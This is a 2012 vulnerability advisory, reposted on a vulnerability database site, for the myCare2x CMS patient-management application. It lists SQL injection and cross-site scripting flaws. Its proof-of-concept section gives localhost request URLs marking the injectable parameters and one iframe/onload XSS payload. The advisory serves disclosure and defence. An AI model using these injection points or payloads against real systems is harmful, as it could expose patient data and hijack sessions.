Lucene search
K

myCare2x CMS - Multiple Web Vulnerabilities

🗓️ 03 May 2012 00:00:00Reported by Benjamin K.M.Type 
zdt
 zdt
🔗 0day.today👁 18 Views

myCare2x CMS multiple web vulnerabilities including remote SQL injection, persistent input validation, and non-persistent cross-site scripting. Exploitation can lead to compromise of dbms & application, session hijacking, and account manipulation

Code
Title:
======
myCare2x CMS - Multiple Web Vulnerabilities

Introduction:
=============
myCare2x is an web application. All program modules and data accesses are processed in the server.
User only need a web browser, in order to use the myCare2x functions, so extensions or changes on
the modules need no interferences at the clients.
 
- Apache HTTPD Server
- MySQL Database
- PHP
 
The spirit of Open Source also takes effect on implemented server software. myCare2x is based upon
External linkApache as HTTP server and External linkMySQL as database management system. myCare2x is
written in External linkPHP - an easy to learn and powerful scripting language.
 
(Copy of the Vendor Homepage: http://mycare2x.net/en/solution )

Details:
========
1.1
Multiple remote SQL Injection vulnerabilities are detected in myCare2x Content Management System.
The vulnerability allows an attacker (remote) or local low privileged user account to inject/execute own sql commands
on the affected application dbms. Successful exploitation of the vulnerability results in dbms & application compromise.
The vulnerability is located on the username post method.
 
Vulnerable Module(s):
                                [+] &aktion  + &callurl
                                [+] dept_nr
                                [+] pid
                                [+] Eintrag
                                [+] name_last

1.2
Multiple persistent input validation vulnerabilities are detected in myCare2x Content Management System.
The bugs allow remote attackers to implement/inject malicious script code on the application side (persistent).
Successful exploitation of the vulnerability can lead to session hijacking (manager/admin) or stable (persistent)
context manipulation. Exploitation requires low user inter action.
 
 
Vulnerable Module(s):
                                [+] New Person - Insert new Person - Firstname, Lastname & Nickname
                                   [-] Index - Listing (index.php - Search Results - Name (middle) +  Person Data
Listing (right))

1.3
Multiple non persistent cross site scripting vulnerabilities are detected in myCare2x Content Management System.
The vulnerability allows remote attackers to hijack website customer, moderator or admin sessions with high required
user inter action or local low privileged user account. Successful exploitation can result in account steal, phishing
& client-side content request manipulation.
 
 
Vulnerable Module(s):
                                [+] mycare_ward_print - Favorite
                                [+] mycare2x_pat_info - Aktion
                                [+] mycare2x_proc_search - LN
                                [+] zusatzcode

Proof of Concept:
=================
1.1
The SQL Injection vulnerabilities can be exploited by remote attacker without user inter action.
For demonstration or reproduce ...
 
 
PoC:
http://127.0.0.1/modules/patient/mycare2x_pat_info.php?sid=moq09jafqbl4leasdpvcl7qi56&lang=-1%27&aktion=-1%27[SQL-Injection!]
&callurl=-1%27[SQL-Injection!]&myPid=403
 
http://127.0.0.1/modules/importer/mycare2x_importer.php?sid=6dlskul290sc3dg2ab0mlpa0a3&lang=de&fid=800000101&pid=596&dept_nr=-1%27[SQL-Injection!]
http://127.0.0.1/modules/importer/mycare2x_importer.php?sid=6dlskul290sc3dg2ab0mlpa0a3&lang=de&fid=800000101&pid=-1%27[SQL-Injection!]&dept_nr=11
 
http://127.0.0.1/modules/drg/mycare2x_proc_search.php?myAction=Suchen&myOpsEintrag=-
 
1%27[SQL-Injection!&val=&itemx=&mode=&sid=moq09jafqbl4ledgppvcl7qi56&lang=de&pn=100224&opnr=&ln=Gexxxn&fn=Brxo&bd=&dept_nr=&oprm=&display=
&group_nr=&edit=1&icdtype=&y=&m=&d=&zusatzcode=&keyword=[SQL-Injection!]
 
http://127.0.0.1/modules/patient/mycare_pid.php?pid=&ext_pid=&date_reg=&pat_type=Self&panel=1&title1=&title=&name_last=-
 
1%27[SQL-Injection!&name_first=&name_middle=&name_maiden=&name_others=&extern_access=&date_birth=&sex1=m&sex=m&civil_status1=&
civil_status=&scitizenship=...&citizenship=&sreligion=...&religion=&sethnic_orig=..ðnic_orig=&addr_str=&addr_str_nr=&addr_zip=
&addr_town=&addr_citytown=&addr_citytown_nr=&nat_id_nr=DE&country_state=&phone_1_code=&phone_1
 
_nr=&phone_2_code=&phone_2_nr=&cellphone_1_nr=&cellphone_2_nr=&fax=&email=&insurance_name=&insurance_instnr=
&insurance_vknr=&insurance_nr=&insurance_state=&insurance_state1=&insurance_card_expire=&sid=moq09jafqbl4ledgppvcl7qi56&lang=
en&myAction=&myFind=Find&myselectnr=&insurance_id=&nr=&edit=1&ref=&is_addon=&preselected_city=&i_acti
 
ve=0&i_max=2&activ_tab_id=0&recognition=&smartcard=&smartcarddata=
 
http://127.0.0.1/modules/patient/mycare_pid.php?pid=[SQL-Injection!]
 
 
1.2
The persistent input validation vulnerabilities can be exploited by remote attacker with low or medium required
user inter action. For demonstration or reproduce ...
 
Affected: index.php - Search Results - Name (middle) +  Person Data Listing (right)
 
Review: User/Person Listing
 
<h2><img src="../../gui/img/common/default/ppd_case.gif">829:
"><iframe src="a" onload='alert("VL")' <,="" "=""><iframe src=a onload=alert("VL") <<
 
URL: http://127.0.0.1/modules/patient/mycare_pid.php?pid=&ext_pid=&date_reg=2012-04-19+06%3A00%3A00&pat_type=
Self&panel=1&title1=&title=&name_last=%22%3E
 
%3Ciframe+src%3Da+onload%3Dalert%28%22VL%22%29+%3C&name_first=%22%3E%3Ciframe+src%3Da+onload%3Dalert%28%22VL%22%29+%
3C&name_middle=%22%3E%3Ciframe+src%3Da+onload
 
%3Dalert%28%22VL%22%29+%3C&name_maiden=%22%3E%3Ciframe+src%3Da+onload%3Dalert%28%22VL%22%29+
 
%3C&name_others=&extern_access=&date_birth=&sex1=m&sex=m&civil_status1=&civil_status=&scitizenship=...&citizenship=&s
religion=...&religion=&sethnic_orig=..ðnic_orig
 
=&addr_str=&addr_str_nr=&addr_zip=&addr_town=&addr_citytown=&addr_citytown_nr=&nat_id_nr=DE&country_state=&phone_1_code=
&phone_1_nr=&phone_2_code=&phone_2_nr=&cellphon
 
e_1_nr=&cellphone_2_nr=&fax=&email=&insurance_name=&insurance_instnr=&insurance_vknr=&insurance_nr=&insurance_state=&insurance_state1=
&insurance_card_expire=&sid=moq09
 
jafqbl4ledgppvcl7qi56&lang=en&myAction=Save&myFind=Find&myselectnr=&insurance_id=&nr=&edit=1&ref=&is_addon=&preselected_city=
&i_active=0&i_max=2&activ_tab_id=0&recogni
 
tion=&smartcard=&smartcarddata=
 
 
 
1.3
The client side cross site scripting vulnerabilities can be exploited by remote attacker with medium or high required
user inter action. For demonstration or reproduce ...
 
http://127.0.0.1/modules/nursing/mycare_ward_print.php?sid=moq09jafqbl4ledgppvcl7qi56&lang=de&favorites=[Cross Site
Scripting!]
http://127.0.0.1/modules/nursing/mycare_ward_print.php?sid=moq09jafqbl4ledgppvcl7qi56&lang=[Cross Site
Scripting!]&favorites=[Cross Site Scripting!]
http://127.0.0.1/modules/patient/mycare2x_pat_info.php?sid=moq09jafqbl4ledgppvcl7qi56&lang=de&aktion=[Cross Site
Scripting!]&callurl=topwin&myPid=403
http://127.0.0.1/modules/patient/mycare2x_pat_info.php?sid=moq09jafqbl4ledgppvcl7qi56&lang=de&aktion=|PRI|AVE|FLB|&callurl=[Cross
 Site Scripting!]&myPid=403
 
http://127.0.0.1/modules/drg/mycare2x_proc_search.phpmyAction=Suchen&myOpsEintrag=1
&val=&itemx=&mode=&sid=moq09jafqbl4ledgppvcl7qi56&lang=de&pn=100224&opnr=&ln=[Cross Site
Scripting!]&fn=Brxo&bd=&dept_nr=&oprm=&display=&group_nr=&edit=1&icdtype=&y=&m=&d=&zusatzcode=&keyword=2
 


#  0day.today [2018-02-16]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation